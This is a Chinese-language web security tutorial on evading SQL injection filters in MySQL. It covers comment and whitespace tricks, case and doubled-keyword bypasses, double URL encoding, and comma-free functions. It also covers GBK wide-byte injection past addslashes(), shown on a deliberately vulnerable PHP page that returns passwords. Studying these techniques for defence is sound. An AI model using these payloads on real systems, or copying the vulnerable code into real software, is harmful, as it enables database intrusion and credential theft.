1. 程式人生 > >【22】WEB安全學習----MySQL注入-7(繞過限制)

【22】WEB安全學習----MySQL注入-7(繞過限制)

註釋符:-- 、#、/**/繞過

只能閉合後面的語句,使其成為正確的SQL語句。

$sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;"

$id=-1' union select version() '1;
$sql="SELECT username FROM users WHERE id='-1' union select version() '1' limit 0,1;"

空格繞過

可通過註釋符/**/進行繞過空格

或者是通過以下編碼進行繞過。

%09    TAB 鍵(水平)
%0a    新建一行
%0c    新的一頁
%0d    return 功能
%0b    TAB 鍵(垂直)
%a0    空格

關鍵字元繞過

1、如果不是忽略大小寫過濾,則大小寫變形進行繞過 Or And UnIon等

2、and or 可利用符號進行代替為  && ||

3、如果只匹配過濾了一次,可使用雙字元進行繞過,如UNIunionON

URL二次編碼繞過

如果後臺會再次對接收到的引數進行URL解碼,此時可以進行二次URL編碼繞過。

<?php
$id=urldecode($_GET['id']);
?>

#->%23->%25%32%33

HEX、BASE64等編碼繞過

如果提交的資料區包含敏感詞彙,被檢測到,此時可以使用各種編碼進行繞過。

逗號繞過

在使用函式時,大多數函式會使用逗號,如果過濾了逗號,那麼以下函式可以不使用逗號進行繞過

SELECT MID('mysql' from 1 for 1);
SELECT SUBSTR('mysql' from 1 for 1);
SELECT * FROM users limit 1 offset 1;

order by繞過

當order by被過濾時,無法猜解欄位數,此時可以使用into 變數名進行代替。

SELECT * FROM users WHERE id=1 into @a,@b,@c,@d;

也可以使用group by進行代替

比較符繞過

比較字元>、<、=等,在盲注逐字猜解時用到,可使用in、between、strcmp、greatest等繞過。

寬位元組注入

addslashes()

返回在預定義字元之前新增反斜槓的字串,預定義字元是:
 單引號(')
 雙引號(")
 反斜槓(\)

<?php
echo addslashes($_GET['id']);

由於此函式對單引號和雙引號及反斜槓都進行了處理,故不能閉合SQL語句從而進行注入。

PHP程式碼:

<?php
    header('content-type:text/html;charset=gbk');
    @$id=$_GET['id'];
    if(!isset($id)){
        die('請傳入GET方法id引數值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die('連線資料庫失敗:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
        die('開啟資料庫失敗:'.$mysqli->error);
    }
    $mysqli->set_charset('gbk');
    $id=addslashes($id);
    $sql="SELECT username,passwd FROM users WHERE id='{$id}' limit 0,1";
    echo $sql.'<hr />';
    $result=$mysqli->query($sql);
    if(!$result){
        die('執行SQL語句失敗:'.$mysqli->error);
    }else if($result->num_rows==0){
        die('查詢結果為空');
    }else {
        $array1=$result->fetch_all(MYSQLI_ASSOC);
        echo '使用者名稱:'.$array1[0]['username'].'<br />'.'密碼:'.$array1[0]['passwd'].'<br />';
    }

通過新增單引號被轉義為\',無法閉合單引號進行注入。那麼如果繞過這個注入呢,就要用到寬位元組注入方法了。

通常來說,一個gbk編碼漢字,佔用2個位元組。一個utf-8編碼的漢字,佔用3個位元組。而mysql在使用GBK編碼的時候,會認為兩個字元是一個漢字(前一個ascii碼要大於128,才到漢字的範圍)。

 繞過的原理是:urlencode(‘\) = %5c%27,我們在%5c%27 前面新增%df,形成%df%5c%27,而 mysql 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字,此事%df%5c 就是一個漢字,%27 則作為一個單獨的符號在外面,此時就繞過了限制。

首先設定資料庫編碼方式為GBK,及頁面顯示也為GBK。

可看到,通過加入%df,%df%5c組成漢字【運】,後面的單引號限制就被繞過了

此時,就可以按照正常的流程進行注入了。